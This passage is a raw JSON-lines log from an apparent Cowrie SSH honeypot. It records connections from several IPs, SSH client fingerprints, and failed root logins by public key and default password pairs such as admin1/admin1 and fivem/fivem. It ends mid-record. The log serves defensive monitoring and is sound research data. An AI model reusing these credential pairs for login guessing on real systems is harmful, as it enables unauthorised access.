{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":44956,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee14c6c0865","protocol":"ssh","message":"New connection: 83.168.110.85:44956 (159.203.135.109:22) [session: 6ee14c6c0865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:54.470531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:54.528572Z","src_ip":"83.168.110.85","session":"6ee14c6c0865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:54.637927Z","src_ip":"83.168.110.85","session":"6ee14c6c0865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:54.792646Z","src_ip":"160.251.185.39","session":"2b508b3ae4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:55.076549Z","src_ip":"83.168.110.85","session":"6ee14c6c0865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:34:56.294006Z","src_ip":"83.168.110.85","session":"6ee14c6c0865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":34678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce378e4374bc","protocol":"ssh","message":"New connection: 108.178.7.34:34678 (10.17.0.5:22) [session: ce378e4374bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.291381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.296089Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.330352Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:3c:3a:44:a7:3c:d4:91:96:86:7f:c3:8b:df:ac:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZGAzUX9pZymJvFGu59GNPFygLsIvTWCYNc4UdMOhicjRjH05JAm0MecgaBifll898QU7ZvY+FjePkHRhW0HeL/rQJ1Mu3R08Ptwq8BKmEypWoGlgg/HMBCaxqA3o/VHn1A/pMIiLBe4AtIiKPnlF2gPsAD1/3AiPDQe9+9wDbeCnXJ1LMdJZCIFrVCNa6yssK8qyeio8/bTfwu7Ccb12QNEoI5btUbMs9YDCLQ70b7wkn29FwbNJHoTbtmqV4JsINW4hlqMivGEladNlHtW5BdBEUDnrTp7Vz8l2fcB6x1d2lk/6KpZarcXj5Kq1YkNcKYHYNd2VMqfS53VKsiBvR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:3c:3a:44:a7:3c:d4:91:96:86:7f:c3:8b:df:ac:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.454811Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:3c:3a:44:a7:3c:d4:91:96:86:7f:c3:8b:df:ac:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZGAzUX9pZymJvFGu59GNPFygLsIvTWCYNc4UdMOhicjRjH05JAm0MecgaBifll898QU7ZvY+FjePkHRhW0HeL/rQJ1Mu3R08Ptwq8BKmEypWoGlgg/HMBCaxqA3o/VHn1A/pMIiLBe4AtIiKPnlF2gPsAD1/3AiPDQe9+9wDbeCnXJ1LMdJZCIFrVCNa6yssK8qyeio8/bTfwu7Ccb12QNEoI5btUbMs9YDCLQ70b7wkn29FwbNJHoTbtmqV4JsINW4hlqMivGEladNlHtW5BdBEUDnrTp7Vz8l2fcB6x1d2lk/6KpZarcXj5Kq1YkNcKYHYNd2VMqfS53VKsiBvR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.460139Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:e6:95:eb:59:f4:da:34:c6:f6:3f:86:fc:63:ef:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTAleXRw8JmewvlBcWVfTTZIY3eKKYcf2ssc4LGbumPEvYh+bLcQuRCeu87wUTOhcT1rqZYc948tpYFq1swBziqbAeD5/pv40nl5lR10D+RuK5BUBlpCZdUAGPvpG80Wt9vsWOXeSbUiXcrW3tkwHgj36AP+CDDENOKviWqEifflQtiVxO3ehAGa48oFccGHn7FCjhZmCXNwukYoK/Fb5WMPEYC05NBtMGBMiuB1rNaeNF5BHcsD/B0Q7wCEwW/xscGL+Q+6gLBL+uX3fVpqljvbs6ujYOLoAgUtlr9BTz4X5YfSViRm0zvKO1jk3qRkezVPx8fc0ui37XNFrOTWV+SgIPvKIdpRRq2Ivp897ugMFYb6U9NbElXaxjStJXHo03zbzsAKSFrLFgDYhq4dxOqsuj0us0NIsSZnr36m5mJnyK9pWHF18nLYevumHFzjOaTnzl+gjy0PXE+y9RhidUM7bcknm1XiI7AF1RCm78+tAMOC+4kUPB+XUvwyL6SF7Ri+64nThpYijqzrI4cDCb5xCyIUMHTjiqYtuRjPBw4+63mTOjyADVfmnsDjgaUip+0JsIMXssg4BmdTRNnn0r9rYwF2uaQOMy542WLqj+wBoGyYDDTyG/KzIOsdCCnf/Hf7DpLDch2e2b17IhUbUaAlTsv8q+RThwVNML9925ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:e6:95:eb:59:f4:da:34:c6:f6:3f:86:fc:63:ef:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.500322Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:e6:95:eb:59:f4:da:34:c6:f6:3f:86:fc:63:ef:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTAleXRw8JmewvlBcWVfTTZIY3eKKYcf2ssc4LGbumPEvYh+bLcQuRCeu87wUTOhcT1rqZYc948tpYFq1swBziqbAeD5/pv40nl5lR10D+RuK5BUBlpCZdUAGPvpG80Wt9vsWOXeSbUiXcrW3tkwHgj36AP+CDDENOKviWqEifflQtiVxO3ehAGa48oFccGHn7FCjhZmCXNwukYoK/Fb5WMPEYC05NBtMGBMiuB1rNaeNF5BHcsD/B0Q7wCEwW/xscGL+Q+6gLBL+uX3fVpqljvbs6ujYOLoAgUtlr9BTz4X5YfSViRm0zvKO1jk3qRkezVPx8fc0ui37XNFrOTWV+SgIPvKIdpRRq2Ivp897ugMFYb6U9NbElXaxjStJXHo03zbzsAKSFrLFgDYhq4dxOqsuj0us0NIsSZnr36m5mJnyK9pWHF18nLYevumHFzjOaTnzl+gjy0PXE+y9RhidUM7bcknm1XiI7AF1RCm78+tAMOC+4kUPB+XUvwyL6SF7Ri+64nThpYijqzrI4cDCb5xCyIUMHTjiqYtuRjPBw4+63mTOjyADVfmnsDjgaUip+0JsIMXssg4BmdTRNnn0r9rYwF2uaQOMy542WLqj+wBoGyYDDTyG/KzIOsdCCnf/Hf7DpLDch2e2b17IhUbUaAlTsv8q+RThwVNML9925ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.505266Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:60:3d:78:3b:f2:ee:34:8c:12:53:78:87:58:a7:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6iVxIxDF42KIgAnsYfLMwtf947RXN/QmV0HE3Kgreb83jI4Xn9N7ZNWetvom8Ibs7uPpntSrFQzN0ieQiT6lXol6qeVyxJdYAmuJu363gvbuz0gSXtnXrF2FqG4RTY1QvLgARxAtoFrB0/lndYJYVxq59sShYmLt7LznhDy6SEFoT4oT+fAhKk3ZaNTALNJwljL9ep84YGc2xtlolgGF9yJX+eo/re+vAobjwxaP2SBvIMdNJ+aDwGugShBDZcTx+ma83ff4icNyLiAbrtaNw0NlQZSisGw+ku/baeqg/wzOWaJDJJcauftke4uccPq485cwv7pPhT7Xt19QBebMEkSoMKD07S5xhw2/trrY0A5U3VDjgQJWN0LPRgQfACJIK2ytYT3XOuvsn7rtyIbkSfpEBngedzo+VMmtLdVproc0eNaXngXDITxx7JKBW+koEsWW2Ka5ymGke1TFk5/msNlry+2B6b/5y0YHuZYL/s4qmCg/fCivLHSMziLzjkb6QU4QbHJs9f2ABObjNLNpfOBGKK68CgY7ulbbW1Sm0hlxZsfRy8Gu64bGsUEbQ+1xz3zFwLr8rYXJtPRNw7myHvAJYNTWFdX01v12eadR+AGAxDlgdZdOeYzq9/OeKqTpgeS+MOmQ4fT1A3Ga2JKjzAJiZPRMQUxQJOyZ0+DCq5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:60:3d:78:3b:f2:ee:34:8c:12:53:78:87:58:a7:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.547712Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:60:3d:78:3b:f2:ee:34:8c:12:53:78:87:58:a7:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6iVxIxDF42KIgAnsYfLMwtf947RXN/QmV0HE3Kgreb83jI4Xn9N7ZNWetvom8Ibs7uPpntSrFQzN0ieQiT6lXol6qeVyxJdYAmuJu363gvbuz0gSXtnXrF2FqG4RTY1QvLgARxAtoFrB0/lndYJYVxq59sShYmLt7LznhDy6SEFoT4oT+fAhKk3ZaNTALNJwljL9ep84YGc2xtlolgGF9yJX+eo/re+vAobjwxaP2SBvIMdNJ+aDwGugShBDZcTx+ma83ff4icNyLiAbrtaNw0NlQZSisGw+ku/baeqg/wzOWaJDJJcauftke4uccPq485cwv7pPhT7Xt19QBebMEkSoMKD07S5xhw2/trrY0A5U3VDjgQJWN0LPRgQfACJIK2ytYT3XOuvsn7rtyIbkSfpEBngedzo+VMmtLdVproc0eNaXngXDITxx7JKBW+koEsWW2Ka5ymGke1TFk5/msNlry+2B6b/5y0YHuZYL/s4qmCg/fCivLHSMziLzjkb6QU4QbHJs9f2ABObjNLNpfOBGKK68CgY7ulbbW1Sm0hlxZsfRy8Gu64bGsUEbQ+1xz3zFwLr8rYXJtPRNw7myHvAJYNTWFdX01v12eadR+AGAxDlgdZdOeYzq9/OeKqTpgeS+MOmQ4fT1A3Ga2JKjzAJiZPRMQUxQJOyZ0+DCq5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.552667Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:d4:8e:e5:cb:d1:d9:ae:aa:a9:32:7a:3b:2e:f2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu6Q63OoTR4YDUMGLzPgSzcGhCBKD9BHSWlIiR3AwCJHJ+7Vld4vU5V2KmRUejJABoA45TsnJE5byt1k8zcRle+Ibt7sq0856V1PbHNT4wU9gNLrqb2CEQOFNOMQkbdOFc3fjwlUG5tDtwPqCnKVnOPoMZ51/57yAUG4n13+SOblaqnZauvd1Vj3/Zmm2rYA1lXw5HOucDyUif4sK4RopMXkWppjViSg+dUH4Zy+iNth4IAtidkOkBJgt0IeUTL0wkH6FPX10NOgULTcEJLeAt/8yCHslGqpFWgPfJBFmHB14Egu95Y5bvruSP7jWcvWSkHCA+sSBj5/a43gnsgN+IJwcn685qM2cd84g7/6mWEFJjYltFbEeIuUORdSHL7H0tGo0yNS3ZzuIcA3rJtSZBFP7Mt/uoE87qO5mf6oY4lLQlXqNomGaNROZT1uEVBlMlvxiQo5SHTjb6BlRya2SwEgEkLxHIatId85gExc0VS1WZJY4uORJqD9vpkvo5eiVE5lfZnv+6vEohCmoM2jZH8U6/NXGZUsDEj0zrlNp80JDz6dk51TAfg4SMGGnQ9RpFCWSsk/JW/jfa0a4kwXzhczNr5gtY5QzrdODGc/YxkxdeXSQ4KEyiyvhb5vL8RM8C6KHAS2RV0QpQZF7BM2IQtm48LyLF0+jLeFhKCviKXw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:d4:8e:e5:cb:d1:d9:ae:aa:a9:32:7a:3b:2e:f2:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.592753Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:d4:8e:e5:cb:d1:d9:ae:aa:a9:32:7a:3b:2e:f2:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu6Q63OoTR4YDUMGLzPgSzcGhCBKD9BHSWlIiR3AwCJHJ+7Vld4vU5V2KmRUejJABoA45TsnJE5byt1k8zcRle+Ibt7sq0856V1PbHNT4wU9gNLrqb2CEQOFNOMQkbdOFc3fjwlUG5tDtwPqCnKVnOPoMZ51/57yAUG4n13+SOblaqnZauvd1Vj3/Zmm2rYA1lXw5HOucDyUif4sK4RopMXkWppjViSg+dUH4Zy+iNth4IAtidkOkBJgt0IeUTL0wkH6FPX10NOgULTcEJLeAt/8yCHslGqpFWgPfJBFmHB14Egu95Y5bvruSP7jWcvWSkHCA+sSBj5/a43gnsgN+IJwcn685qM2cd84g7/6mWEFJjYltFbEeIuUORdSHL7H0tGo0yNS3ZzuIcA3rJtSZBFP7Mt/uoE87qO5mf6oY4lLQlXqNomGaNROZT1uEVBlMlvxiQo5SHTjb6BlRya2SwEgEkLxHIatId85gExc0VS1WZJY4uORJqD9vpkvo5eiVE5lfZnv+6vEohCmoM2jZH8U6/NXGZUsDEj0zrlNp80JDz6dk51TAfg4SMGGnQ9RpFCWSsk/JW/jfa0a4kwXzhczNr5gtY5QzrdODGc/YxkxdeXSQ4KEyiyvhb5vL8RM8C6KHAS2RV0QpQZF7BM2IQtm48LyLF0+jLeFhKCviKXw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.598389Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:97:28:34:55:eb:8f:af:1b:02:3e:35:65:90:e9:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdwTlNdjE5Q0fYQF58u5GsmS7BJ8qY2nBtC1LsiXTHlJiFz4Upzwp45EwNihmV7UavUU19/T61SACEksZ/jvH2VejGqMBS1EiutqHYp6t7BNGgqvLQsfCdCDlcYg9zyK9Wz2PljS6/Z2ObDO3VAzwmGr/1ldn1LKpTmKAyRycayLLNWZhgW1K8JLCrGS3Z2pjZvB1xTAO09Q8gH5oT7/jrYoJ5LNYxJ1dfHLlBjqDJrmATBVuijIx+VubB1w5KpJKvx8rmX+uVcmdsdQrSIZKIUQLYAJbk7oKqCwdIRSA5dHV4JBGPYKIc8FT1qdq3IvsLAQJZphVq5YI0Q57WXytj3lGoEkxDe+wF0Fcvb3VKi8XL854L/P0ncQJcU4OZCz1vzVF55EaITDo3dYfuTyIM4apaSmCPtC6AVoPWLU6oj5gCpiAGk0y/6zgwnLi8wK2hBk4UrKhC4A8tAVj+hNnIRXJWvg+LzU4vn3Lranb3G+r9xj0IqRPVaRsk138Cm4INlo6i3ctiwTdykcrOFvBFitSf8WVa/GgqEwHpTJnGNCi9wy97YXOjD7CpDtM+FpV8bhrYUvXR2OhhhikIIxAApPLC/rfO5rS1p+T7gvd25rl5gZhJ+O2V9DbzLvn28kOnkGgQo6mUgzpAx8K9/nWXf8IaMb0JczxQr9g3LAKl6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:97:28:34:55:eb:8f:af:1b:02:3e:35:65:90:e9:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.640702Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:97:28:34:55:eb:8f:af:1b:02:3e:35:65:90:e9:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdwTlNdjE5Q0fYQF58u5GsmS7BJ8qY2nBtC1LsiXTHlJiFz4Upzwp45EwNihmV7UavUU19/T61SACEksZ/jvH2VejGqMBS1EiutqHYp6t7BNGgqvLQsfCdCDlcYg9zyK9Wz2PljS6/Z2ObDO3VAzwmGr/1ldn1LKpTmKAyRycayLLNWZhgW1K8JLCrGS3Z2pjZvB1xTAO09Q8gH5oT7/jrYoJ5LNYxJ1dfHLlBjqDJrmATBVuijIx+VubB1w5KpJKvx8rmX+uVcmdsdQrSIZKIUQLYAJbk7oKqCwdIRSA5dHV4JBGPYKIc8FT1qdq3IvsLAQJZphVq5YI0Q57WXytj3lGoEkxDe+wF0Fcvb3VKi8XL854L/P0ncQJcU4OZCz1vzVF55EaITDo3dYfuTyIM4apaSmCPtC6AVoPWLU6oj5gCpiAGk0y/6zgwnLi8wK2hBk4UrKhC4A8tAVj+hNnIRXJWvg+LzU4vn3Lranb3G+r9xj0IqRPVaRsk138Cm4INlo6i3ctiwTdykcrOFvBFitSf8WVa/GgqEwHpTJnGNCi9wy97YXOjD7CpDtM+FpV8bhrYUvXR2OhhhikIIxAApPLC/rfO5rS1p+T7gvd25rl5gZhJ+O2V9DbzLvn28kOnkGgQo6mUgzpAx8K9/nWXf8IaMb0JczxQr9g3LAKl6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.647379Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:01.699065Z","src_ip":"108.178.7.34","session":"ce378e4374bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51094,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e79771e6fd","protocol":"ssh","message":"New connection: 83.168.110.85:51094 (159.203.135.109:22) [session: 02e79771e6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:05.126665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:05.133004Z","src_ip":"83.168.110.85","session":"02e79771e6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:05.258490Z","src_ip":"83.168.110.85","session":"02e79771e6fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:05.628066Z","src_ip":"83.168.110.85","session":"02e79771e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:06.883356Z","src_ip":"83.168.110.85","session":"02e79771e6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34128,"dst_ip":"159.203.135.109","dst_port":22,"session":"814938989425","protocol":"ssh","message":"New connection: 83.168.110.85:34128 (159.203.135.109:22) [session: 814938989425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:15.418703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:35:15.427155Z","src_ip":"83.168.110.85","session":"814938989425","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"k